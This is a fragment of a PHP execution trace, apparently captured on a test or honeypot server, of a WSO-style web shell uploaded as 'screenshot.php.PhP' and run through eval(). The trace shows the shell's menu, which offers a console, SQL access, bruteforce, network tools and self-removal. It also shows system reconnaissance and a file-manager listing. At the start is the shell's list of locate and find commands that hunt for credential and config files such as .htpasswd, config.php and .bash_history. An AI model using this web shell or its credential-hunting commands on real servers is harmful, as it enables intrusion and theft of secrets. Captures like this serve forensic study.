.fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv'] 3 32 0 0.008494 1068936 function_exists 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 289 1 'posix_getpwuid' 3 32 1 0.008509 1068976 3 32 R TRUE 3 33 0 0.008522 1068936 function_exists 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 291 1 'posix_getgrgid' 3 33 1 0.008536 1068976 3 33 R TRUE 3 34 0 0.008551 1068976 function_exists 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 1504 1 'actionFilesMan' 3 34 1 0.008566 1069016 3 34 R TRUE 2 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 1505 _POST['a'] = 'FilesMan' 3 35 0 0.008593 1069352 function_exists 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 1508 1 'actionFilesMan' 3 35 1 0.008612 1069392 3 35 R TRUE 3 36 0 0.008626 1069312 actionFilesMan 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 1509 0 4 37 0 0.008640 1069312 wsoHeader 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 621 0 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 125 _POST['charset'] = 'Windows-1251' 5 38 0 0.008669 1070592 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 151 1 '/var/www/html/uploads/' 5 38 1 0.008686 1070784 5 38 R '/var/www/html/uploads/' 5 39 0 0.008702 1070592 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 152 1 'FilesMan' 5 39 1 0.008717 1070784 5 39 R 'FilesMan' 5 40 0 0.008731 1070592 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 153 1 'Windows-1251' 5 40 1 0.008745 1070784 5 40 R 'Windows-1251' 5 41 0 0.008760 1070592 strpos 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 154 2 NULL '\n' 5 41 1 0.008775 1070664 5 41 R FALSE 5 42 0 0.008789 1070592 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 154 2 NULL 3 5 42 1 0.008804 1070824 5 42 R '' 5 43 0 0.008818 1070848 strpos 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 155 2 NULL '\n' 5 43 1 0.008832 1070920 5 43 R FALSE 5 44 0 0.008846 1070848 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 155 2 NULL 3 5 44 1 0.008860 1071080 5 44 R '' 5 45 0 0.008874 1070848 strpos 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 156 2 NULL '\n' 5 45 1 0.008888 1070920 5 45 R FALSE 5 46 0 0.008902 1070848 htmlspecialchars 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 156 2 NULL 3 5 46 1 0.008916 1071080 5 46 R '' 5 47 0 0.008930 1071872 addslashes 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 176 1 '/uploads/screenshot.php.PhP' 5 47 1 0.008944 1071904 5 47 R '/uploads/screenshot.php.PhP' 5 48 0 0.008961 1069312 diskfreespace 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 208 1 '/var/www/html/uploads/' 5 48 1 0.008979 1069344 5 48 R 197476532224 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 208 $freeSpace = 197476532224 5 49 0 0.009008 1069312 disk_total_space 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 209 1 '/var/www/html/uploads/' 5 49 1 0.009024 1069344 5 49 R 232015802368 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 209 $totalSpace = 232015802368 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 210 $totalSpace = 232015802368 5 50 0 0.009062 1069312 php_uname 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 211 1 'r' 5 50 1 0.009078 1069392 5 50 R '5.15.0-60-generic' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 211 $release = '5.15.0-60-generic' 5 51 0 0.009104 1069360 php_uname 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 212 1 's' 5 51 1 0.009118 1069424 5 51 R 'Linux' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 212 $kernel = 'Linux' 5 52 0 0.009143 1069392 function_exists 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 213 1 'posix_getegid' 5 52 1 0.009157 1069432 5 52 R TRUE 5 53 0 0.009169 1069392 posix_geteuid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 219 0 5 53 1 0.009184 1069392 5 53 R 33 5 54 0 0.009196 1069392 posix_getpwuid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 219 1 33 5 54 1 0.009232 1070224 5 54 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin'] 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 219 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin'] 5 55 0 0.009276 1070192 posix_getegid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 220 0 5 55 1 0.009293 1070192 5 55 R 33 5 56 0 0.009306 1070192 posix_getgrgid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 220 1 33 5 56 1 0.009333 1070856 5 56 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33] 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 220 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33] 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 221 $user = 'www-data' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 222 $uid = 33 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 223 $group = 'www-data' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 224 $gid = 33 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 227 $cwd_links = '' 5 57 0 0.009427 1069472 explode 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 228 2 '/' '/var/www/html/uploads/' 5 57 1 0.009443 1070080 5 57 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => ''] 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 228 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => ''] 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 229 $n = 6 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 230 $i = 0 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 231 $cwd_links .= '/' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 230 $i++ 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 231 $cwd_links .= 'var/' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 230 $i++ 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 231 $cwd_links .= 'www/' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 230 $i++ 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 231 $cwd_links .= 'html/' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 230 $i++ 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 231 $cwd_links .= 'uploads/' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 230 $i++ 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 237 $charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866'] 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 238 $opt_charsets = '' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 240 $opt_charsets .= '' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 240 $opt_charsets .= '' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 240 $opt_charsets .= '' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 240 $opt_charsets .= '' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 240 $opt_charsets .= '' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 242 $m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'FoxAutoV5' => 'https://anonymousfox.co', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network'] 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 245 $m['Self remove'] = 'SelfRemove' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 246 $menu = '' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'Sec. Info' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ Sec. Info ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'Files' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ Files ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'Console' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ Console ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'Sql' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ Sql ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'FoxAutoV5' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 249 $menu .= '[ FoxAutoV5 ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'Php' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ Php ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'String tools' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ String tools ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'Bruteforce' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ Bruteforce ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'Network' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ Network ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 247 $k = 'Self remove' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 251 $menu .= '[ Self remove ]' 4 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 254 $drives = '' 5 58 0 0.010444 1072368 php_uname 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 261 0 5 58 1 0.010459 1072480 5 58 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 5 59 0 0.010478 1072480 substr 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 261 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120 5 59 1 0.010496 1072576 5 59 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 5 60 0 0.010516 1072496 phpversion 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 261 0 5 60 1 0.010529 1072560 5 60 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1' 5 61 0 0.010545 1072688 date 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 262 1 'Y-m-d H:i:s' 5 61 1 0.010604 1075040 5 61 R '2023-02-12 21:52:27' 5 62 0 0.010623 1074880 wsoViewSize 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 262 1 232015802368 6 63 0 0.010638 1074880 sprintf 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 323 2 '%1.2f' 216.08155441284 6 63 1 0.010655 1075264 6 63 R '216.08' 5 62 1 0.010669 1074920 5 62 R '216.08 GB' 5 64 0 0.010683 1074880 wsoViewSize 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 262 1 197476532224 6 65 0 0.010698 1074880 sprintf 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 323 2 '%1.2f' 183.91435241699 6 65 1 0.010713 1075264 6 65 R '183.91' 5 64 1 0.010727 1074920 5 64 R '183.91 GB' 5 66 0 0.010743 1075136 wsoPermsColor 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 262 1 '/var/www/html/uploads/' 6 67 0 0.010757 1075136 is_readable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 354 1 '/var/www/html/uploads/' 6 67 1 0.010777 1075176 6 67 R TRUE 6 68 0 0.010791 1075136 is_writable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 356 1 '/var/www/html/uploads/' 6 68 1 0.010808 1075176 6 68 R TRUE 6 69 0 0.010821 1075136 fileperms 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 359 1 '/var/www/html/uploads/' 6 69 1 0.010838 1075200 6 69 R 16895 6 70 0 0.010851 1075160 wsoPerms 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 359 1 16895 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 337 $i = 'd' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 341 $i .= 'r' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 342 $i .= 'w' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 343 $i .= 'x' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 344 $i .= 'r' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 345 $i .= 'w' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 346 $i .= 'x' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 347 $i .= 'r' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 348 $i .= 'w' 6 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 349 $i .= 'x' 6 70 1 0.010976 1075200 6 70 R 'drwxrwxrwx' 5 66 1 0.010991 1075224 5 66 R 'drwxrwxrwx' 4 37 1 0.011016 1071512 4 71 0 0.011025 1071512 wsoScandir 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 623 1 '/var/www/html/uploads/' 5 72 0 0.011040 1071512 function_exists 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 363 1 'scandir' 5 72 1 0.011054 1071552 5 72 R TRUE 5 73 0 0.011067 1071512 scandir 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 364 1 '/var/www/html/uploads/' 5 73 1 0.011101 1072144 5 73 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'screenshot.php.PhP'] 4 71 1 0.011122 1072112 4 71 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'screenshot.php.PhP'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 623 $dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'screenshot.php.PhP'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 626 $sort = [0 => 'name', 1 => 1] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 640 $files = [] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 640 $dirs = [] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 641 $n = 6 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 642 $i = 0 4 74 0 0.011220 1072136 fileowner 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 '.' 4 74 1 0.011235 1072160 4 74 R 0 4 75 0 0.011248 1072120 posix_getpwuid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 0 4 75 1 0.011274 1072920 4 75 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 4 76 0 0.011370 1072888 filegroup 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 '.' 4 76 1 0.011391 1072928 4 76 R 0 4 77 0 0.011409 1072888 posix_getgrgid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 0 4 77 1 0.011445 1073544 4 77 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 4 78 0 0.011499 1073984 filemtime 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 1 '/var/www/html/uploads/.' 4 78 1 0.011523 1074040 4 78 R 1676256747 4 79 0 0.011542 1073952 date 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 2 'Y-m-d H:i:s' 1676256747 4 79 1 0.011584 1074280 4 79 R '2023-02-12 21:52:27' 4 80 0 0.011607 1074256 wsoPermsColor 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 648 1 '/var/www/html/uploads/.' 5 81 0 0.011628 1074256 is_readable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 354 1 '/var/www/html/uploads/.' 5 81 1 0.011654 1074296 5 81 R TRUE 5 82 0 0.011670 1074256 is_writable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 356 1 '/var/www/html/uploads/.' 5 82 1 0.011688 1074296 5 82 R TRUE 5 83 0 0.011701 1074256 fileperms 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 359 1 '/var/www/html/uploads/.' 5 83 1 0.011715 1074296 5 83 R 16895 5 84 0 0.011729 1074256 wsoPerms 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 359 1 16895 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 337 $i = 'd' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 341 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 342 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 343 $i .= 'x' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 344 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 345 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 346 $i .= 'x' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 347 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 348 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 349 $i .= 'x' 5 84 1 0.011854 1074296 5 84 R 'drwxrwxrwx' 4 80 1 0.011870 1074320 4 80 R 'drwxrwxrwx' 4 85 0 0.011887 1074320 filesize 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 649 1 '/var/www/html/uploads/.' 4 85 1 0.011902 1074360 4 85 R 4096 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 651 $tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] 4 86 0 0.011939 1074320 is_file 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 653 1 '/var/www/html/uploads/.' 4 86 1 0.011954 1074360 4 86 R FALSE 4 87 0 0.011968 1074320 is_link 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 655 1 '/var/www/html/uploads/.' 4 87 1 0.011985 1074384 4 87 R FALSE 4 88 0 0.011998 1074344 is_dir 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 657 1 '/var/www/html/uploads/.' 4 88 1 0.012012 1074384 4 88 R TRUE 4 89 0 0.012026 1074296 array_merge 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 658 2 ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir'] 4 89 1 0.012050 1074736 4 89 R ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 658 $dirs[] = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 642 $i++ 4 90 0 0.012112 1075048 fileowner 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 '..' 4 90 1 0.012127 1075072 4 90 R 0 4 91 0 0.012140 1075032 posix_getpwuid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 0 4 91 1 0.012167 1075832 4 91 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 4 92 0 0.012215 1075064 filegroup 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 '..' 4 92 1 0.012229 1075104 4 92 R 0 4 93 0 0.012242 1075064 posix_getgrgid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 0 4 93 1 0.012265 1075720 4 93 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 4 94 0 0.012302 1075584 filemtime 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 1 '/var/www/html/uploads/..' 4 94 1 0.012318 1075648 4 94 R 1676256747 4 95 0 0.012332 1075552 date 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 2 'Y-m-d H:i:s' 1676256747 4 95 1 0.012365 1075880 4 95 R '2023-02-12 21:52:27' 4 96 0 0.012380 1075864 wsoPermsColor 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 648 1 '/var/www/html/uploads/..' 5 97 0 0.012399 1075864 is_readable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 354 1 '/var/www/html/uploads/..' 5 97 1 0.012416 1075904 5 97 R TRUE 5 98 0 0.012429 1075864 is_writable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 356 1 '/var/www/html/uploads/..' 5 98 1 0.012445 1075904 5 98 R TRUE 5 99 0 0.012459 1075864 fileperms 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 359 1 '/var/www/html/uploads/..' 5 99 1 0.012473 1075904 5 99 R 16895 5 100 0 0.012486 1075864 wsoPerms 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 359 1 16895 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 337 $i = 'd' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 341 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 342 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 343 $i .= 'x' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 344 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 345 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 346 $i .= 'x' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 347 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 348 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 349 $i .= 'x' 5 100 1 0.012605 1075904 5 100 R 'drwxrwxrwx' 4 96 1 0.012620 1075928 4 96 R 'drwxrwxrwx' 4 101 0 0.012637 1075928 filesize 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 649 1 '/var/www/html/uploads/..' 4 101 1 0.012651 1075968 4 101 R 4096 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 651 $tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] 4 102 0 0.012688 1075552 is_file 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 653 1 '/var/www/html/uploads/..' 4 102 1 0.012703 1075592 4 102 R FALSE 4 103 0 0.012717 1075552 is_link 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 655 1 '/var/www/html/uploads/..' 4 103 1 0.012733 1075600 4 103 R FALSE 4 104 0 0.012746 1075560 is_dir 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 657 1 '/var/www/html/uploads/..' 4 104 1 0.012761 1075600 4 104 R TRUE 4 105 0 0.012774 1075504 array_merge 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 658 2 ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir'] 4 105 1 0.012798 1075944 4 105 R ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 658 $dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 642 $i++ 4 106 0 0.012858 1075880 fileowner 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 '.htaccess' 4 106 1 0.012874 1075904 4 106 R 0 4 107 0 0.012888 1075864 posix_getpwuid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 0 4 107 1 0.012911 1076664 4 107 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 4 108 0 0.012953 1075896 filegroup 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 